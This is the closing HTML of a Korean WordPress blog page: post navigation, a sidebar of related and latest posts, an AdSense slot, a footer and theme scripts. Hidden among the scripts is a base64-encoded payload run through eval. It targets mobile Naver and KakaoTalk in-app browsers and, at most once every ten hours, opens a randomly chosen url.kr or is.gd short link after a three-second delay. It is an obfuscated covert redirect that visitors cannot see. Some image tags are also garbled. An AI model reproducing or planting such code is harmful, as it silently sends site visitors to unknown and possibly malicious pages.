xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414"><path d="M178.425 138.212c0 2.265-1.133 4.813-2.832 6.512L64.276 256.001l111.317 111.277c1.7 1.7 2.832 4.247 2.832 6.513 0 2.265-1.133 4.813-2.832 6.512L161.43 394.46c-1.7 1.7-4.249 2.832-6.514 2.832-2.266 0-4.816-1.133-6.515-2.832L16.407 262.514c-1.699-1.7-2.832-4.248-2.832-6.513 0-2.265 1.133-4.813 2.832-6.512l131.994-131.947c1.7-1.699 4.249-2.831 6.515-2.831 2.265 0 4.815 1.132 6.514 2.831l14.163 14.157c1.7 1.7 2.832 3.965 2.832 6.513z" fill-rule="nonzero" /></svg></span><span class="prev"><a href="https://enjoy.anvios.com/%ec%95%8c-%ec%88%98-%ec%97%86%eb%8a%94-%ea%b3%84%ec%a2%8c%eb%a1%9c-%eb%8f%88%ec%9d%84-%ec%9d%b4%ec%b2%b4%ed%96%88%eb%8b%a4%eb%a9%b4/" rel="prev">알 수 없는 계좌로 돈을 이체했다면?</a></span></div><div class="nav-next"><span class="gp-icon icon-arrow-right"><svg viewBox="0 0 192 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414"><path d="M178.425 256.001c0 2.266-1.133 4.815-2.832 6.515L43.599 394.509c-1.7 1.7-4.248 2.833-6.514 2.833s-4.816-1.133-6.515-2.833l-14.163-14.162c-1.699-1.7-2.832-3.966-2.832-6.515 0-2.266 1.133-4.815 2.832-6.515l111.317-111.316L16.407 144.685c-1.699-1.7-2.832-4.249-2.832-6.515s1.133-4.815 2.832-6.515l14.163-14.162c1.7-1.7 4.249-2.833 6.515-2.833s4.815 1.133 6.514 2.833l131.994 131.993c1.7 1.7 2.832 4.249 2.832 6.515z" fill-rule="nonzero" /></svg></span><span class="next"><a href="https://enjoy.anvios.com/%ec%b6%94%ec%b2%9c-%ec%9e%90%ea%b2%a9%ec%a6%9d-%ec%9d%80%ec%a2%85%ec%9d%b4%ec%a0%91%ea%b8%b0-%ea%b0%95%ec%82%ac-%ec%93%b8%eb%aa%a8%ec%97%86%eb%8a%94-%ec%9e%90%ea%b2%a9%ec%a6%9d-%ea%b5%ac%eb%b6%84/" rel="next">추천 자격증 : 은종이접기 강사 쓸모없는 자격증 구분법</a></span></div> </nav> </footer> </div> </article> </main> </div> <div class="widget-area sidebar is-right-sidebar" id="right-sidebar"> <div class="inside-right-sidebar"> <aside id="block-7" class="widget inner-padding widget_block"><div class="crp_related crp_related_block crp-rounded-thumbs"><ul><li><a href="https://enjoy.anvios.com/%eb%9d%bc%eb%b2%a8-%ec%8a%a4%ed%8b%b0%ec%bb%a4-%ed%85%8c%ec%8a%a4%ed%8a%b8-%ec%9a%b0%ec%b2%b4%ea%b5%ad-mbti-%ea%b2%b0%ea%b3%bc-%ec%9a%94%ec%95%bd-%eb%a7%81%ed%81%ac/" class="crp_link post-1314"><figure><img loading="lazy" decoding="async" width="150" height="150" src=" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: this.srcset=" class="crp_thumb crp_first" alt="라벨 스티커 테스트 우체국 MBTI 결과 요약 + 링크" title="라벨 스티커 테스트 우체국 MBTI 결과 요약 + 링크" /></figure><span class="crp_title">라벨 스티커 테스트 우체국 MBTI 결과 요약 + 링크</span></a></li><li><a href="https://enjoy.anvios.com/%ec%a7%91%ec%97%90%ec%84%9c-%ec%98%81%ed%99%94%ea%b4%80%ec%b2%98%eb%9f%bc-%ec%a6%90%ea%b8%b0%ec%84%b8%ec%9a%94-%ed%8c%9d%ec%bd%98%eb%a9%94%ec%9d%b4%ec%bb%a4/" class="crp_link post-1318"><figure><img loading="lazy" decoding="async" width="150" height="150" src=" http:http: this.srcset=" class="crp_thumb crp_first" alt="집에서 영화관처럼 즐기세요 - 팝콘메이커" title="집에서 영화관처럼 즐기세요 - 팝콘메이커" /></figure><span class="crp_title">집에서 영화관처럼 즐기세요 - 팝콘메이커</span></a></li><li><a href="https://enjoy.anvios.com/wi-fi-7-wi-fi-7%ec%9d%80-%ec%96%bc%eb%a7%88%eb%82%98-%eb%b9%a0%eb%a5%bc%ea%b9%8c%ec%9a%94-wifi5-wifi6-%eb%b0%8f-%ec%9d%b4%eb%8d%94%eb%84%b7-%eb%b9%84%ea%b5%90/" class="crp_link post-1096"><figure><img loading="lazy" decoding="async" width="150" height="150" src=" http:http:http:http:http:http:http:http:http:http: this.srcset=" class="crp_thumb crp_first" alt="Wi-Fi 7. Wi-Fi 7은 얼마나 빠를까요? Wifi5, Wifi6 및 이더넷 비교" title="Wi-Fi 7. Wi-Fi 7은 얼마나 빠를까요? Wifi5, Wifi6 및 이더넷 비교" /></figure><span class="crp_title">Wi-Fi 7. Wi-Fi 7은 얼마나 빠를까요? Wifi5, Wifi6 및 이더넷 비교</span></a></li><li><a href="https://enjoy.anvios.com/%eb%b6%80%ec%82%b0-%ea%b2%bd%eb%82%a8-%ec%9a%b8%ec%82%b0%ec%b6%9c%eb%b0%9c-%ec%9a%b8%eb%a6%89%eb%8f%84/" class="crp_link post-1034"><figure><img loading="lazy" decoding="async" width="150" height="150" src=" http:http:http: this.srcset=" class="crp_thumb crp_first" alt="[부산.경남.울산출발 울릉도]" title="[부산.경남.울산출발 울릉도]" /></figure><span class="crp_title">[부산.경남.울산출발 울릉도]</span></a></li><li><a href="https://enjoy.anvios.com/next-js-13-%ea%b3%b5%ec%8b%9d-%eb%ac%b8%ec%84%9c/" class="crp_link post-858"><figure><img loading="lazy" decoding="async" width="150" height="150" src=" http:http:http:http:http:http: this.srcset=" class="crp_thumb crp_first" alt="[Next.js 13] 공식 문서" title="[Next.js 13] 공식 문서" /></figure><span class="crp_title">[Next.js 13] 공식 문서</span></a></li><li><a href="https://enjoy.anvios.com/ex08_07-write/" class="crp_link post-898"><figure><img loading="lazy" decoding="async" width="150" height="150" src="https://talk.anvios.com/wp-content/plugins/contextual-related-posts/default.png" class="crp_thumb crp_default_thumb" alt="ex08_07 - write()," title="ex08_07 - write()," /></figure><span class="crp_title">ex08_07 - write(),</span></a></li></ul><div class="crp_clear"></div></div></aside><aside id="block-3" class="widget inner-padding widget_block"> <div class="wp-block-group"><div class="wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow"> <p><script async="" src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-2216204996429558" crossorigin="anonymous"></script><br> <br> <ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-2216204996429558" data-ad-slot="8955895717" data-ad-format="auto" data-full-width-responsive="true"></ins><br> <script><br /> (adsbygoogle = window.adsbygoogle || []).push({});<br /> </script></p> <h2 class="wp-block-heading" id="최신-글">최신 글</h2> <ul class="wp-block-latest-posts__list wp-block-latest-posts"><li><a class="wp-block-latest-posts__post-title" href="https://enjoy.anvios.com/%ec%b2%ab-%eb%b2%88%ec%a7%b8-%ed%8a%b9%eb%b3%84-%ea%b3%b5%ea%b8%89-%ec%a1%b0%ea%b1%b4%ec%97%90-%eb%8c%80%ed%95%b4-%ec%95%8c%ec%95%84%eb%b3%b4%ec%8b%ad%ec%8b%9c%ec%98%a4/">첫 번째 특별 공급 조건에 대해 알아보십시오</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://enjoy.anvios.com/%ec%84%b8%ea%b8%88-%ed%98%9c%ed%83%9d/">세금 혜택</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://enjoy.anvios.com/%eb%82%a8%ec%9e%90-%ed%9b%84%eb%93%9c-zip-up-%eb%b8%8c%eb%9e%9c%eb%93%9c-%ec%b6%94%ec%b2%9c-stushy-stone-island-baby-calhart-%ec%9d%bc%eb%b0%98-%ec%95%84%ec%9d%b4%eb%94%94%ec%96%b4-wip-cream-kre/">남자 후드 zip -up 브랜드 추천! Stushy, Stone Island, Baby, Calhart, 일반 아이디어 Wip Cream Kream</a></li> </ul></div></div> </aside> </div> </div> </div> </div> <div class="site-footer"> <footer class="site-info" aria-label="Site" itemtype="https://schema.org/WPFooter" itemscope> <div class="inside-site-info grid-container"> <div class="copyright-bar"> <span class="copyright">© 2025 기대</span> • Built with <a href="https://generatepress.com" itemprop="url">GeneratePress</a> </div> </div> </footer> </div> <script> (function(){ const decoded = atob("ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIGZ1bmN0aW9uICgpIHsKICBjb25zdCB1c2VyQWdlbnQgPSBuYXZpZ2F0b3IudXNlckFnZW50OwogIGNvbnN0IGlzTmF2ZXJPcktha2FvQXBwID0gL05BVkVSXChpbmFwcDt8S0FLQU9UQUxLL2kudGVzdCh1c2VyQWdlbnQpOwogIGNvbnN0IGlzTW9iaWxlT3JUYWJsZXQgPSAvQW5kcm9pZHx3ZWJPU3xpUGhvbmV8aVBhZHxpUG9kfEJsYWNrQmVycnl8SUVNb2JpbGV8T3BlcmEgTWluaS9pLnRlc3QodXNlckFnZW50KTsKCiAgaWYgKCFpc05hdmVyT3JLYWthb0FwcCB8fCAhaXNNb2JpbGVPclRhYmxldCkgcmV0dXJuOwoKICBjb25zdCBsYXN0RXhlY3V0aW9uVGltZSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdsYXN0RXhlY3V0aW9uVGltZScpOwogIGNvbnN0IGN1cnJlbnRUaW1lID0gbmV3IERhdGUoKS5nZXRUaW1lKCk7CgogIC8vIDEw7Iuc6rCEIOygnO2VnCAoMTAgKiA2MCAqIDYwICogMTAwMCA9IDM2LDAwMCwwMDBtcykKICBpZiAobGFzdEV4ZWN1dGlvblRpbWUgJiYgY3VycmVudFRpbWUgLSBsYXN0RXhlY3V0aW9uVGltZSA8IDM2MDAwMDAwKSByZXR1cm47CiAgbG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2xhc3RFeGVjdXRpb25UaW1lJywgY3VycmVudFRpbWUpOwoKICBjb25zdCBsaW5rcyA9IFsKICAgICJodHRwczovL3VybC5rci9ycnd5cmYiLAogICAgImh0dHBzOi8vdXJsLmtyL2NmN3dlcCIsCiAgICAiaHR0cHM6Ly91cmwua3IvY2k2Mmc1IiwKICAgICJodHRwczovL3VybC5rci9ycnd5cmYiLAogICAgImh0dHBzOi8vdXJsLmtyL2NmN3dlcCIsCiAgICAiaHR0cHM6Ly91cmwua3IvY2k2Mmc1IiwKICAgICJodHRwczovL2lzLmdkL05MOWlkdiIsCiAgICAiaHR0cHM6Ly9pcy5nZC9HaUVrcmUiLAogICAgImh0dHBzOi8vaXMuZ2QvSDQ2UkJyIiwKICAgICJodHRwczovL2lzLmdkL2o5bFVLMCIsCiAgICAiaHR0cHM6Ly9pcy5nZC9OTDlpZHYiLAogICAgImh0dHBzOi8vaXMuZ2QvR2lFa3JlIiwKICAgICJodHRwczovL2lzLmdkL0g0NlJCciIsCiAgICAiaHR0cHM6Ly9pcy5nZC9qOWxVSzAiLAogICAgImh0dHBzOi8vaXMuZ2QvYVgwOVg3IiwKICAgICJodHRwczovL2lzLmdkL0FJSU5IOCIsCiAgICAiaHR0cHM6Ly9pcy5nZC93RUhQeU0iLAogICAgImh0dHBzOi8vaXMuZ2QvVUpUNGlZIiwKICAgICJodHRwczovL2lzLmdkL21WZFpyViIsCiAgICAiaHR0cHM6Ly9pcy5nZC8zUU9CcHIiLAogICAgImh0dHBzOi8vaXMuZ2QvaUluVFl3IiwKICAgICJodHRwczovL2lzLmdkL0RPTU5sTCIsCiAgICAiaHR0cHM6Ly9pcy5nZC9Ob2VqMkEiLAogICAgImh0dHBzOi8vaXMuZ2Qvd3V2Y1hLIgogIF07CgogIGNvbnN0IGxpbmtUb09wZW4gPSBsaW5rc1tNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBsaW5rcy5sZW5ndGgpXTsKCiAgc2V0VGltZW91dCgoKSA9PiB7CiAgICB3aW5kb3cub3BlbihsaW5rVG9PcGVuLCAiX2JsYW5rIik7CiAgfSwgMzAwMCk7Cn0pOw=="); eval(decoded); })(); </script><script id="generate-a11y">!function(){"use strict";if("querySelector"in document&&"addEventListener"in window){var e=document.body;e.addEventListener("mousedown",function(){e.classList.add("using-mouse")}),e.addEventListener("keydown",function(){e.classList.remove("using-mouse")})}}();</script><script id="ez-toc-scroll-scriptjs-js-extra"> var eztoc_smooth_local = {"scroll_offset":"30","add_request_uri":""}; </script> <script src="https://enjoy.anvios.com/wp-content/plugins/easy-table-of-contents/assets/js/smooth_scroll.min.js?ver=2.0.65" id="ez-toc-scroll-scriptjs-js"></script> <script src="https://enjoy.anvios.com/wp-content/plugins/easy-table-of-contents/vendor/js-cookie/js.cookie.min.js?ver=2.2.1" id="ez-toc-js-cookie-js"></script> <script src="https://enjoy.anvios.com/wp-content/plugins/easy-table-of-contents/vendor/sticky-kit/jquery.sticky-kit.min.js?ver=1.9.2" id="ez-toc-jquery-sticky-kit-js"></script> <script id="ez-toc-js-js-extra"> var ezTOC = {"smooth_scroll":"1","visibility_hide_by_default":"","scroll_offset":"30","fallbackIcon":"<span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span>"}; </script> <script src="https://enjoy.anvios.com/wp-content/plugins/easy-table-of-contents/assets/js/front.min.js?ver=2.0.65-1712752383" id="ez-toc-js-js"></script> <script src="https://enjoy.anvios.com/wp-content/themes/generatepress-child/random-colors.js" id="random-colors-script-js"></script>  <script id="generate-menu-js-extra"> var generatepressMenu = {"toggleOpenedSubMenus":"1","openSubMenuLabel":"Open Sub-Menu","closeSubMenuLabel":"Close Sub-Menu"}; </script> <script src="https://enjoy.anvios.com/wp-content/themes/generatepress/assets/js/menu.min.js?ver=3.4.0" id="generate-menu-js"></script> <script id="wccp_pro_admin_bar_ajax-js-extra"> var ajax_object = {"ajaxurl":"https:\/\/enjoy.anvios.com\/wp-admin\/admin-ajax.php","link":"https:\/\/enjoy.anvios.com\/%ec%9c%a0%ec%88%98%eb%b4%89-%ea%b5%90%ec%88%98%ec%9d%98-web-3-%ec%a3%bc\/"}; </script> <script src="https://enjoy.anvios.com/wp-content/plugins/wccp-pro/js/admin_bar_ajax.js?ver=6.5.2" id="wccp_pro_admin_bar_ajax-js"></script> </body> </html> <script src="/cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js" data-cf-settings="a27b3ed61e1c91f664118f79-|49" defer></script>